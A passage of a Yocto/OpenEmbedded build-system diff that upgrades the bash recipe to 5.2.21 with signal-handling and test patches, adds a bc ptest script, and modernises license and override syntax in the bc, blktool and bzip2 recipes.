68 ((sigint_handler = trap_to_sighandler (SIGINT)) == trap_handler))
69 {
70 trap_handler (SIGINT); /* set pending_traps[SIGINT] */
71@@ -2782,6 +2786,8 @@ wait_sigint_handler (sig)
72 {
73 set_exit_status (128+SIGINT);
74 restore_sigint_handler ();
75+ if (cur_sigint_handler == INVALID_SIGNAL_HANDLER)
76+ set_sigint_handler (); /* XXX - only do this in one place */
77 kill (getpid (), SIGINT);
78 }
79
80@@ -2926,11 +2932,13 @@ wait_for (pid, flags)
81 {
82 SigHandler *temp_sigint_handler;
83
84- temp_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
85- if (temp_sigint_handler == wait_sigint_handler)
86- internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
87- else
88- old_sigint_handler = temp_sigint_handler;
89+ temp_sigint_handler = old_sigint_handler;
90+ old_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
91+ if (old_sigint_handler == wait_sigint_handler)
92+ {
93+ internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
94+ old_sigint_handler = temp_sigint_handler;
95+ }
96 waiting_for_child = 0;
97 if (old_sigint_handler == SIG_IGN)
98 set_signal_handler (SIGINT, old_sigint_handler);
99@@ -4136,7 +4144,7 @@ set_job_status_and_cleanup (job)
100 SIGINT (if we reset the sighandler to the default).
101 In this case, we have to fix things up. What a crock. */
102 if (temp_handler == trap_handler && signal_is_trapped (SIGINT) == 0)
103- temp_handler = trap_to_sighandler (SIGINT);
104+ temp_handler = trap_to_sighandler (SIGINT);
105 restore_sigint_handler ();
106 if (temp_handler == SIG_DFL)
107 termsig_handler (SIGINT); /* XXX */
108diff --git a/tests/redir.right b/tests/redir.right
109index 8db10414..9e1403c8 100644
110--- a/tests/redir.right
111+++ b/tests/redir.right
112@@ -154,10 +154,10 @@ foo
113 1
114 7
115 after: 42
116-./redir11.sub: line 53: $(ss= declare -i ss): ambiguous redirect
117+./redir11.sub: line 55: $(ss= declare -i ss): ambiguous redirect
118 after: 42
119 a+=3
120 foo
121 foo
122-./redir11.sub: line 75: 42: No such file or directory
123+./redir11.sub: line 77: 42: No such file or directory
124 42
125diff --git a/tests/redir11.sub b/tests/redir11.sub
126index d417cdb6..ca9854cd 100644
127--- a/tests/redir11.sub
128+++ b/tests/redir11.sub
129@@ -34,6 +34,8 @@ a=4 b=7 ss=4 declare -i ss
130 a=4 b=7 foo
131 echo after: $a
132
133+exec 7>&- 4>&-
134+
135 unset a
136 a=4 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 3'; }
137 a=1 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 4'; }
138diff --git a/tests/type.right b/tests/type.right
139index bbc228e8..e0a66745 100644
140--- a/tests/type.right
141+++ b/tests/type.right
142@@ -24,15 +24,15 @@ func ()
143 }
144 while
145 while is a shell keyword
146-./type.tests: line 56: type: m: not found
147-alias m='more'
148-alias m='more'
149-m is aliased to `more'
150+./type.tests: line 56: type: morealias: not found
151+alias morealias='more'
152+alias morealias='more'
153+morealias is aliased to `more'
154 alias
155-alias m='more'
156-alias m='more'
157-alias m='more'
158-m is aliased to `more'
159+alias morealias='more'
160+alias morealias='more'
161+alias morealias='more'
162+morealias is aliased to `more'
163 builtin
164 builtin is a shell builtin
165 /bin/sh
166diff --git a/tests/type.tests b/tests/type.tests
167index fd39c18a..ddc15407 100644
168--- a/tests/type.tests
169+++ b/tests/type.tests
170@@ -25,8 +25,6 @@ type -r ${THIS_SH}
171 type notthere
172 command -v notthere
173
174-alias m=more
175-
176 unset -f func 2>/dev/null
177 func() { echo this is func; }
178
179@@ -49,24 +47,26 @@ command -V func
180 command -v while
181 command -V while
182
183+alias morealias=more
184+
185 # the following two lines should produce the same output
186 # post-3.0 patch makes command -v silent, as posix specifies
187 # first test with alias expansion off (should all fail or produce no output)
188-type -t m
189-type m
190-command -v m
191+type -t morealias
192+type morealias
193+command -v morealias
194 alias -p
195-alias m
196+alias morealias
197
198 # then test with alias expansion on
199 shopt -s expand_aliases
200-type m
201-type -t m
202-command -v m
203+type morealias
204+type -t morealias
205+command -v morealias
206 alias -p
207-alias m
208+alias morealias
209
210-command -V m
211+command -V morealias
212 shopt -u expand_aliases
213
214 command -v builtin
215@@ -76,7 +76,7 @@ command -V /bin/sh
216
217 unset -f func
218 type func
219-unalias m
220+unalias morealias
221 type m
222
223 hash -r
224--
2252.35.5
226
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index ea38bace9b..c1b9b8261f 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -4,7 +4,7 @@ Date: Wed, 19 Dec 2012 17:18:31 +0100
4Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking 4Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
5 dependencies. 5 dependencies.
6 6
7Upstream-Status: Pending 7Upstream-Status: Inappropriate [ptest specific]
8Signed-off-by: Anders Roxell <anders.roxell@enea.com> 8Signed-off-by: Anders Roxell <anders.roxell@enea.com>
9 9
10Rebase to 5.0 10Rebase to 5.0
diff --git a/meta/recipes-extended/bash/bash/execute_cmd.patch b/meta/recipes-extended/bash/bash/execute_cmd.patch
deleted file mode 100644
index 7a9e9a902f..0000000000
--- a/meta/recipes-extended/bash/bash/execute_cmd.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1Upstream-Status: Inappropriate [embedded specific]
2
3Rebase to 5.0
4Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
5---
6 execute_cmd.c | 6 +++++-
7 1 file changed, 5 insertions(+), 1 deletion(-)
8
9diff --git a/execute_cmd.c b/execute_cmd.c
10index f1d74bf..31674b4 100644
11--- a/execute_cmd.c
12+++ b/execute_cmd.c
13@@ -2567,7 +2567,11 @@ execute_pipeline (command, asynchronous, pipe_in, pipe_out, fds_to_close)
14 /* If the `lastpipe' option is set with shopt, and job control is not
15 enabled, execute the last element of non-async pipelines in the
16 current shell environment. */
17- if (lastpipe_opt && job_control == 0 && asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
18+ if (lastpipe_opt &&
19+#if defined(JOB_CONTROL)
20+ job_control == 0 &&
21+#endif
22+ asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
23 {
24 lstdin = move_to_high_fd (0, 1, -1);
25 if (lstdin > 0)
26--
272.7.4
28
diff --git a/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
new file mode 100644
index 0000000000..60f1852316
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
@@ -0,0 +1,34 @@
1From 59ddfda14e3c9aa6286bb4c4c0748f7c1324a65a Mon Sep 17 00:00:00 2001
2From: Chet Ramey <chet.ramey@case.edu>
3Date: Fri, 7 Apr 2023 00:28:46 -0700
4Subject: [PATCH] $(<nosuchfile) is no longer a fatal error with errexit
5 enabled
6
7This is a trimmed-down version of a commit in the bash 'devel' branch
8[1] that contains this fix as well as other unrelated ones.
9
10[1] https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=ec9447ce9392a0f93d96789c3741285fede8a150
11
12Upstream-Status: Backport
13
14Signed-off-by: Zev Weiss <zev@bewilderbeest.net>
15---
16 builtins/evalstring.c | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/builtins/evalstring.c b/builtins/evalstring.c
20index df3dd68e2a7e..6612081cd646 100644
21--- a/builtins/evalstring.c
22+++ b/builtins/evalstring.c
23@@ -753,7 +753,7 @@ open_redir_file (r, fnp)
24 fd = open(fn, O_RDONLY);
25 if (fd < 0)
26 {
27- file_error (fn);
28+ internal_error ("%s: %s", fn, strerror (errno));
29 free (fn);
30 if (fnp)
31 *fnp = 0;
32--
332.40.0
34
diff --git a/meta/recipes-extended/bash/bash/makerace.patch b/meta/recipes-extended/bash/bash/makerace.patch
deleted file mode 100644
index 9bd7c280fe..0000000000
--- a/meta/recipes-extended/bash/bash/makerace.patch
+++ /dev/null
@@ -1,52 +0,0 @@
1We're seeing pipesize.h being created in parallel:
2
3/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
4/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
5
6./mkbuiltins -D ../../bash-5.1/builtins ../../bash-5.1/builtins/ulimit.def
7x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -c -DHAVE_CONFIG_H -DSHELL -I. -I.. -I../../bash-5.1 -I../../bash-5.1/include -I../../bash-5.1/lib -I../../bash-5.1/builtins -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= ulimit.c || ( rm -f ulimit.c ; exit 1 )
8make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
9rm -f redir.o
10x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -DPROGRAM='"bash"' -DCONF_HOSTTYPE='"x86_64"' -DCONF_OSTYPE='"linux-gnu"' -DCONF_MACHTYPE='"x86_64-pokysdk-linux-gnu"' -DCONF_VENDOR='"pokysdk"' -DLOCALEDIR='"/opt/poky/3.2+snapshot/sysroots/x86_64-pokysdk-linux/usr/share/locale"' -DPACKAGE='"bash"' -DSHELL -DHAVE_CONFIG_H -I. -I../bash-5.1 -I../bash-5.1/include -I../bash-5.1/lib -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= -c ../bash-5.1/redir.c
11In file included from ../../bash-5.1/builtins/../../bash-5.1/builtins/ulimit.def:95:
12pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
13 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
14 | ^
15make[1]: *** [Makefile:119: ulimit.o] Error 1
16make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
17make: *** [Makefile:737: builtins/libbuiltins.a] Error 1
18make: *** Waiting for unfinished jobs....
19In file included from ../bash-5.1/redir.c:61:
20./builtins/pipesize.h:9:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '-' token
21 9 | bash-5.1/builtins/psize.sh: 37: ../../bash-5.1/builtins/psize.sh: ./psize.aux: Text file busy
22 | ^
23make: *** [Makefile:101: redir.o] Error 1
24WARNING: exit code 1 from a shell command.
25
26which happens since builtins/ulimit.o depends on pipesize.h as well as a top
27level dependency. This means:
28
29 @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
30
31races with:
32
33 @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) DEBUG=${DEBUG} targets ) || exit 1
34
35Hack around this by forcing BUILTINS_LIBRARY onto pipesize.h as a dependency.
36
37Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-bash/2021-01/msg00152.html]
38Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
39
40Index: bash-5.1/Makefile.in
41===================================================================
42--- bash-5.1.orig/Makefile.in
43+++ bash-5.1/Makefile.in
44@@ -746,7 +746,7 @@ ${DEFDIR}/bashgetopt.o: $(BUILTIN_SRCDIR
45 ${DEFDIR}/builtext.h: $(BUILTIN_DEFS)
46 @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) builtext.h ) || exit 1
47
48-${DEFDIR}/pipesize.h:
49+${DEFDIR}/pipesize.h: $(BUILTINS_LIBRARY)
50 @(cd $(DEFDIR) && $(MAKE) $(MFLAGS) pipesize.h ) || exit 1
51
52 $(SDIR)/man2html$(EXEEXT): ${SUPPORT_SRC}/man2html.c
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
index bebaa08bfe..bd6870b386 100644
--- a/meta/recipes-extended/bash/bash/use_aclocal.patch
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -1,3 +1,8 @@
1From d1bf23817afffd5917b74da6946e0c3b7e63e336 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Mon, 28 Dec 2020 21:04:27 +0100
4Subject: [PATCH] bash: update 5.0 -> 5.1
5
1Including m4 files directly like this confuses autotools.bbclass, remove 6Including m4 files directly like this confuses autotools.bbclass, remove
2the references and rely upon aclocal to collect the m4 files together 7the references and rely upon aclocal to collect the m4 files together
3as needed instead making it work like other autotools based projects. 8as needed instead making it work like other autotools based projects.
@@ -5,17 +10,23 @@ as needed instead making it work like other autotools based projects.
5Upstream-Status: Inappropriate [OE configuration specific] 10Upstream-Status: Inappropriate [OE configuration specific]
6RP 2021/1/20 11RP 2021/1/20
7 12
8Index: bash-5.1/configure.ac 13---
9=================================================================== 14 configure.ac | 43 -------------------------------------------
10--- bash-5.1.orig/configure.ac 15 1 file changed, 43 deletions(-)
11+++ bash-5.1/configure.ac 16
12@@ -688,47 +688,6 @@ if test x$SIZE = x; then 17diff --git a/configure.ac b/configure.ac
18index 50a6e20..a3b5bd7 100644
19--- a/configure.ac
20+++ b/configure.ac
21@@ -710,49 +710,6 @@ if test x$SIZE = x; then
13 fi 22 fi
14 AC_SUBST(SIZE) 23 AC_SUBST(SIZE)
15 24
16-m4_include([m4/stat-time.m4]) 25-m4_include([m4/stat-time.m4])
17-m4_include([m4/timespec.m4]) 26-m4_include([m4/timespec.m4])
18- 27-
28-m4_include([m4/strtoimax.m4])
29-
19-dnl include files for gettext 30-dnl include files for gettext
20- 31-
21-m4_include([m4/codeset.m4]) 32-m4_include([m4/codeset.m4])
@@ -54,6 +65,6 @@ Index: bash-5.1/configure.ac
54-m4_include([m4/wint_t.m4]) 65-m4_include([m4/wint_t.m4])
55-m4_include([m4/xsize.m4]) 66-m4_include([m4/xsize.m4])
56- 67-
57 dnl Turn on any extensions available in the GNU C library. 68 dnl C compiler characteristics
58 AC_DEFINE(_GNU_SOURCE, 1) 69 AC_C_CONST
59 70 AC_C_INLINE
diff --git a/meta/recipes-extended/bash/bash_5.1.bb b/meta/recipes-extended/bash/bash_5.1.bb
deleted file mode 100644
index e5e013b734..0000000000
--- a/meta/recipes-extended/bash/bash_5.1.bb
+++ /dev/null
@@ -1,32 +0,0 @@
1require bash.inc
2
3# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
4LICENSE = "GPLv3+"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
6
7SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
8 ${GNU_MIRROR}/bash/bash-${PV}-patches/bash51-001;apply=yes;striplevel=0;name=patch001 \
9 ${GNU_MIRROR}/bash/bash-${PV}-patches/bash51-002;apply=yes;striplevel=0;name=patch002 \
10 ${GNU_MIRROR}/bash/bash-${PV}-patches/bash51-003;apply=yes;striplevel=0;name=patch003 \
11 ${GNU_MIRROR}/bash/bash-${PV}-patches/bash51-004;apply=yes;striplevel=0;name=patch004 \
12 file://execute_cmd.patch \
13 file://mkbuiltins_have_stringize.patch \
14 file://build-tests.patch \
15 file://test-output.patch \
16 file://run-ptest \
17 file://run-bash-ptests \
18 file://fix-run-builtins.patch \
19 file://use_aclocal.patch \
20 file://makerace.patch \
21 "
22
23SRC_URI[tarball.sha256sum] = "cc012bc860406dcf42f64431bcd3d2fa7560c02915a601aba9cd597a39329baa"
24SRC_URI[patch001.sha256sum] = "ebb07b3dbadd98598f078125d0ae0d699295978a5cdaef6282fe19adef45b5fa"
25SRC_URI[patch002.sha256sum] = "15ea6121a801e48e658ceee712ea9b88d4ded022046a6147550790caf04f5dbe"
26SRC_URI[patch003.sha256sum] = "22f2cc262f056b22966281babf4b0a2f84cb7dd2223422e5dcd013c3dcbab6b1"
27SRC_URI[patch004.sha256sum] = "9aaeb65664ef0d28c0067e47ba5652b518298b3b92d33327d84b98b28d873c86"
28
29DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
30DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
31
32BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.2.21.bb b/meta/recipes-extended/bash/bash_5.2.21.bb
new file mode 100644
index 0000000000..532adf4c1a
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.2.21.bb
@@ -0,0 +1,24 @@
1require bash.inc
2
3# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
6
7SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
8 file://mkbuiltins_have_stringize.patch \
9 file://build-tests.patch \
10 file://test-output.patch \
11 file://run-ptest \
12 file://run-bash-ptests \
13 file://fix-run-builtins.patch \
14 file://use_aclocal.patch \
15 file://0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch \
16 file://fix-filesubst-errexit.patch \
17 "
18
19SRC_URI[tarball.sha256sum] = "c8e31bdc59b69aaffc5b36509905ba3e5cbb12747091d27b4b977f078560d5b8"
20
21DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
22DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
23
24BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc/run-ptest b/meta/recipes-extended/bc/bc/run-ptest
new file mode 100644
index 0000000000..ba5abe6805
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/run-ptest
@@ -0,0 +1,9 @@
1#! /bin/sh
2
3for TEST in *.b; do
4 if bc -l $TEST </dev/null; then
5 echo "PASS: bc/$TEST"
6 else
7 echo "FAIL: bc/$TEST"
8 fi
9done
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
index 4a51302492..819da6cda6 100644
--- a/meta/recipes-extended/bc/bc_1.07.1.bb
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -1,7 +1,8 @@
1SUMMARY = "Arbitrary precision calculator language" 1SUMMARY = "Arbitrary precision calculator language"
2HOMEPAGE = "http://www.gnu.org/software/bc/bc.html" 2HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
3DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
3 4
4LICENSE = "GPLv3+" 5LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
6 file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \ 7 file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
7 file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \ 8 file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \
@@ -14,21 +15,26 @@ DEPENDS = "flex-native"
14SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \ 15SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
15 file://no-gen-libmath.patch \ 16 file://no-gen-libmath.patch \
16 file://libmath.h \ 17 file://libmath.h \
17 file://0001-dc-fix-exit-code-of-q-command.patch" 18 file://0001-dc-fix-exit-code-of-q-command.patch \
19 file://run-ptest"
18SRC_URI[md5sum] = "cda93857418655ea43590736fc3ca9fc" 20SRC_URI[md5sum] = "cda93857418655ea43590736fc3ca9fc"
19SRC_URI[sha256sum] = "62adfca89b0a1c0164c2cdca59ca210c1d44c3ffc46daf9931cf4942664cb02a" 21SRC_URI[sha256sum] = "62adfca89b0a1c0164c2cdca59ca210c1d44c3ffc46daf9931cf4942664cb02a"
20 22
21inherit autotools texinfo update-alternatives 23inherit autotools texinfo update-alternatives ptest
22 24
23PACKAGECONFIG ??= "readline" 25PACKAGECONFIG ??= "readline"
24PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline" 26PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
25PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit" 27PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
26 28
27do_compile_prepend() { 29do_compile:prepend() {
28 cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h 30 cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
29} 31}
30 32
31ALTERNATIVE_${PN} = "bc dc" 33do_install_ptest() {
34 install ${S}/Test/*.b ${D}${PTEST_PATH}
35}
36
37ALTERNATIVE:${PN} = "bc dc"
32ALTERNATIVE_PRIORITY = "100" 38ALTERNATIVE_PRIORITY = "100"
33 39
34BBCLASSEXTEND = "native" 40BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/blktool/blktool_4-7.1.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb
index ff2eaa5352..bb44befb56 100644
--- a/meta/recipes-extended/blktool/blktool_4-7.1.bb
+++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \
3of a block device. It is like hdparm but a more general tool, as it \ 3of a block device. It is like hdparm but a more general tool, as it \
4works on SCSI, IDE and SATA devices." 4works on SCSI, IDE and SATA devices."
5HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool" 5HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool"
6LICENSE = "GPLv2+" 6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
8 file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373" 8 file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373"
9 9
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index 7338df03eb..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
1 1
2lib_LTLIBRARIES = libbz2.la 2lib_LTLIBRARIES = libbz2.la
3libbz2_la_LDFLAGS = -version-info 1:6:0 3libbz2_la_LDFLAGS = -version-info 1:8:0
4 4
5libbz2_la_SOURCES = blocksort.c \ 5libbz2_la_SOURCES = blocksort.c \
6 huffman.c \ 6 huffman.c \
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
index 70eb67f1f2..4e3a06f240 100644
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -4,14 +4,14 @@ Huffman coding. Compression is generally considerably better than that achieved
4LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors." 4LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
5HOMEPAGE = "https://sourceware.org/bzip2/" 5HOMEPAGE = "https://sourceware.org/bzip2/"
6SECTION = "console/utils" 6SECTION = "console/utils"
7LICENSE = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" 7LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
8LICENSE_${PN} = "bzip2-1.0.6" 8LICENSE:${PN} = "bzip2-1.0.6"
9LICENSE_${PN}-dev = "bzip2-1.0.6" 9LICENSE:${PN}-dev = "bzip2-1.0.6"
10LICENSE_${PN}-dbg = "bzip2-1.0.6" 10LICENSE:${PN}-dbg = "bzip2-1.0.6"
11LICENSE_${PN}-doc = "bzip2-1.0.6" 11LICENSE:${PN}-doc = "bzip2-1.0.6"
12LICENSE_${PN}-src = "bzip2-1.0.6" 12LICENSE:${PN}-src = "bzip2-1.0.6"
13LICENSE_libbz2 = "bzip2-1.0.6" 13LICENSE:libbz2 = "bzip2-1.0.6"
14LICENSE_${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib" 14LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
15 15
16LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \ 16LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
17 file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \ 17 file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
@@ -22,7 +22,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e
22" 22"
23 23
24SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \ 24SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
25 git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests \ 25 git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master;protocol=https \
26 file://configure.ac;subdir=${BP} \ 26 file://configure.ac;subdir=${BP} \
27 file://Makefile.am;subdir=${BP} \ 27 file://Makefile.am;subdir=${BP} \
28 file://run-ptest \ 28 file://run-ptest \
@@ -36,17 +36,17 @@ UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
36 36
37PACKAGES =+ "libbz2" 37PACKAGES =+ "libbz2"
38 38
39CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64" 39CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
40 40
41inherit autotools update-alternatives ptest relative_symlinks 41inherit autotools update-alternatives ptest relative_symlinks
42 42
43ALTERNATIVE_PRIORITY = "100" 43ALTERNATIVE_PRIORITY = "100"
44ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2" 44ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
45 45
46#install binaries to bzip2-native under sysroot for replacement-native 46#install binaries to bzip2-native under sysroot for replacement-native
47EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}" 47EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
48 48
49do_configure_prepend () { 49do_configure:prepend () {
50 sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac 50 sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
51} 51}
52 52
@@ -62,9 +62,9 @@ do_install_ptest () {
62 sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile 62 sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
63} 63}
64 64
65FILES_libbz2 = "${libdir}/lib*${SOLIBS}" 65FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
66 66
67RDEPENDS_${PN}-ptest += "make bash" 67RDEPENDS:${PN}-ptest += "make bash"
68 68
